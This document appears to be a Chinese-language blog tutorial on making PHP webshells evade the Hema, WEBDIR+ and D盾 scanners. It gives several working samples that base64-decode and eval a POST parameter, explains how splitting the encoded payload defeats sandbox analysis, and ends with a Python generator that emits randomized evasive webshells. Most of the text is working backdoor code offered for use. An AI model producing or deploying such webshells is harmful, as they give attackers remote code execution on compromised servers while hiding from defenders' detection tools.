PHP免杀WebShell生成工具之河马/WEBDIR再绕过
0x00:简介
上一篇文章写了一下关于D盾的webshell绕过,为什么是关于D盾呢,因为在我以前的认知中,D盾就是最厉害的了,但是我果然孤陋寡闻,一个叫河马和一个叫webdir+的webshell查杀工具又给了我一棒子... 但是人嘛 就要越挫越勇。
0x01:探究免杀
这里只讨论河马和webdir+,再有更强的希望各位可以在评论给出。
绕过河马
首先我们拿出之前的样本:
class YHUV{
public $BSFRM = null;
public $YVMQFW = null;
function __construct(){
$this->BSFRM='ZXZhbCgkX1BPU1RbYV0pOw==';
$this->YVMQFW = @base64_decode( $this->BSFRM );
@eval("/*rEgV_Cd*/".$this->YVMQFW."/*rEgV_Cd*/");
}}
new YHUV();
?>
直接拿去河马查杀一下,

依然没给出我们为什么会被杀。
河马属于传统webshell查杀器,所以依然是依靠正则类规则对代码进行查杀,所以FUZZ依然有效,
我们的马比较突出的点在于eval和那串base64后的字符,我们可以使用控制变量法分别测试。首先由于eval是构造器,没法像assert一样随意拆分组合,且适配php7.1以上环境必须使用eval,所以关于eval这个我们其实是没什么好点的办法替换的,所以只能先对base64关键字进行探测。
我们直接使用明文
class YHUV{
public $BSFRM = null;
public $YVMQFW = null;
function __construct(){
$this->BSFRM=$_POST['a'];
@eval("/*rEgV_Cd*/".$this->BSFRM."/*rEgV_Cd*/");
}}
new YHUV();
?>
压缩上传查杀

???
好心办坏事?当初多想了一步结果就这么栽了,虽然现在过了河马,但是总不能D盾又过不去是吧,我们用D盾杀一下

当然肯定能过的,因为我们绕过D盾和它有没有base64编码是不相干的。
至此我们绕过了河马
绕过webdir+
接下来就是比较恶心的一个东西了,这玩意儿居然拿沙盒跑

我们拿绕过河马的马跑一下,这里的检测速度之所以比较慢就是因为它在跑沙盒,这种方式确实比传统的查杀工具难搞很多,但是它并不完美。

果不其然也被杀了
接下来就是探索的时刻了
由于eval依然无法动摇,所以我依旧从"$_POST['a']"下手,首先这串字符编码后是过不去webdir+的,但是不编码也过不去,我猜测可能是沙盒在模拟运行的时候拼接出了eval($_POST['a']),导致被杀,那我使用md5做密钥它总跑不出来吧。修改代码如下:

我们继续让他杀

嘻嘻,还是被杀了,我反而很高兴,那这也说明一个问题,你并没有顺利执行过我的马,那说明我eval()里的东西一直都是安全的,那么不安全的肯定就是"$_POST['a']"这玩意儿了,这个怎么解决呢?
base64编码不是加密,所以他是可以被解的,webdir+很可能就是直接拉出来我的base64payload去解了一下,那怎么办呢?这就要借助到一个化整为零的思路,
我完整的base64你能解出来是吧,但是你又不能模拟运行我的马是吧,那我直接把base64后的payload拆了不就行了,
class DWSG{
public $m = null;
public $n = null;
public $x = null;
function __construct(){
$this->m = 'ZXZhbCgkX1BPU';
$this->x = '1RbYV0pOw==';
$this->n = @base64_decode($this->m.$this->x);
@eval("/*lzafNmH*/".$this->n."/*lzafNmH*/");
}}
new DWSG();
?>
继续查杀

如果出现被杀的情况,可以自行将base64内的值换一下,比如第一个参数多点,第二个参数少点再或者多拆几个参数,又或者各位可以自己加个md5认证,都是可以的。
0x03:代码
代码只需做少许修改即可
#author: pureqh
#github: https://github.com/pureqh/webshell
shell = '''<?php
class {0}{3}
public ${1} = null;
public ${2} = null;
public ${6} = null;
function __construct(){3}
$this->{1} = 'ZXZhbCgkX1BPU1RbYV';
$this->{6} = '0pOw==';
$this->{2} = @base64_decode($this->{1}.$this->{6});
@eval({5}.$this->{2}.{5});
{4}{4}
new {0}();
?>'''
def random_keys(len):
str = '`~-=!@#$%^&_+?<>|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(random.sample(str,len))
def random_name(len):
str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(random.sample(str,len))
def build_webshell():
className = random_name(4)
parameter1 = random_name(5)
parameter2 = random_name(6)
lef = '''{'''
rig = '''}'''
disrupt = "\"/*"+random_keys(7)+"*/\""
parameter3 = random_name(6)
shellc = shell.format(className,parameter1,parameter2,lef,rig,disrupt,parameter3)
return shellc
if __name__ == '__main__':
print (build_webshell())
验证:D盾

河马:

webdir:

安全狗:不测 这玩意儿闭着眼也能过
能否执行:
